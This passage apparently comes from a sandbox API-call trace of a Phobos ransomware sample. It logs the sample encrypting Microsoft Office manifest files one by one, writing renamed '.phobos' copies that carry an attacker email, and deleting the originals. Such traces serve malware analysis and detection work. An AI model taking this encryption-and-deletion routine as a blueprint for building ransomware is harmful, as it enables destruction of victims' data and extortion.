lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0052.069] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0052.069] CloseHandle (hObject=0x310) returned 1 [0052.069] CloseHandle (hObject=0x328) returned 1 [0052.073] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0052.076] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0052.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0052.077] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0052.077] CloseHandle (hObject=0x328) returned 1 [0052.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0052.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0052.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0052.077] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0052.077] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0052.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.078] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0052.078] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0052.078] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0052.089] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0052.089] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0052.090] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0052.090] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0052.090] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0052.090] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0052.090] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0052.090] CryptDestroyKey (hKey=0x10dca10) returned 1 [0052.090] CloseHandle (hObject=0x328) returned 1 [0052.090] CloseHandle (hObject=0x310) returned 1 [0052.091] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0052.092] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0052.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.092] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1124942) returned 1 [0052.092] CloseHandle (hObject=0x310) returned 1 [0052.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0052.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0052.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.092] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0052.092] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0052.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0052.093] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0052.093] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0052.093] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x110100, lpOverlapped=0x0) returned 1 [0052.130] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x110100, dwBufLen=0x110100 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x110100) returned 1 [0052.131] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x110100, lpOverlapped=0x0) returned 1 [0053.038] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x294e, lpOverlapped=0x0) returned 1 [0053.038] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2950, dwBufLen=0x2950 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2950) returned 1 [0053.038] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2950, lpOverlapped=0x0) returned 1 [0053.039] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0053.039] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0053.039] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0053.039] CryptDestroyKey (hKey=0x10dc690) returned 1 [0053.039] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0053.039] CryptDestroyKey (hKey=0x10dc810) returned 1 [0053.039] CloseHandle (hObject=0x310) returned 1 [0053.039] CloseHandle (hObject=0x328) returned 1 [0053.058] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0053.428] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0053.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.883] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=19451) returned 1 [0053.883] CloseHandle (hObject=0x310) returned 1 [0053.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0053.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.883] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0053.883] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0053.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.883] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0053.883] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0053.883] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4bfb, lpOverlapped=0x0) returned 1 [0053.934] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4c00, dwBufLen=0x4c00 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4c00) returned 1 [0053.934] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4c00, lpOverlapped=0x0) returned 1 [0053.935] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0053.935] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0053.935] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0053.935] CryptDestroyKey (hKey=0x10dc610) returned 1 [0053.935] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0053.935] CryptDestroyKey (hKey=0x10dca10) returned 1 [0053.935] CloseHandle (hObject=0x310) returned 1 [0053.935] CloseHandle (hObject=0x31c) returned 1 [0053.936] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0053.937] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0053.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.937] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0053.937] CloseHandle (hObject=0x31c) returned 1 [0053.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0053.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.938] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0053.938] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0053.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.938] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0053.938] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0053.938] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0053.947] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0053.947] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0053.947] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0053.947] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0053.947] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0053.948] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0053.948] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0053.948] CryptDestroyKey (hKey=0x10dc750) returned 1 [0053.948] CloseHandle (hObject=0x31c) returned 1 [0053.948] CloseHandle (hObject=0x310) returned 1 [0053.948] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0053.949] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0053.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.950] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2147) returned 1 [0053.950] CloseHandle (hObject=0x310) returned 1 [0053.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0053.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0053.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.950] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0053.950] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0053.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.951] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0053.951] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0053.951] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x863, lpOverlapped=0x0) returned 1 [0054.125] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x870, dwBufLen=0x870 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x870) returned 1 [0054.126] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x870, lpOverlapped=0x0) returned 1 [0054.126] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0054.126] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.126] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.126] CryptDestroyKey (hKey=0x10dc610) returned 1 [0054.126] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.127] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0054.127] CloseHandle (hObject=0x310) returned 1 [0054.127] CloseHandle (hObject=0x31c) returned 1 [0054.128] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0054.129] 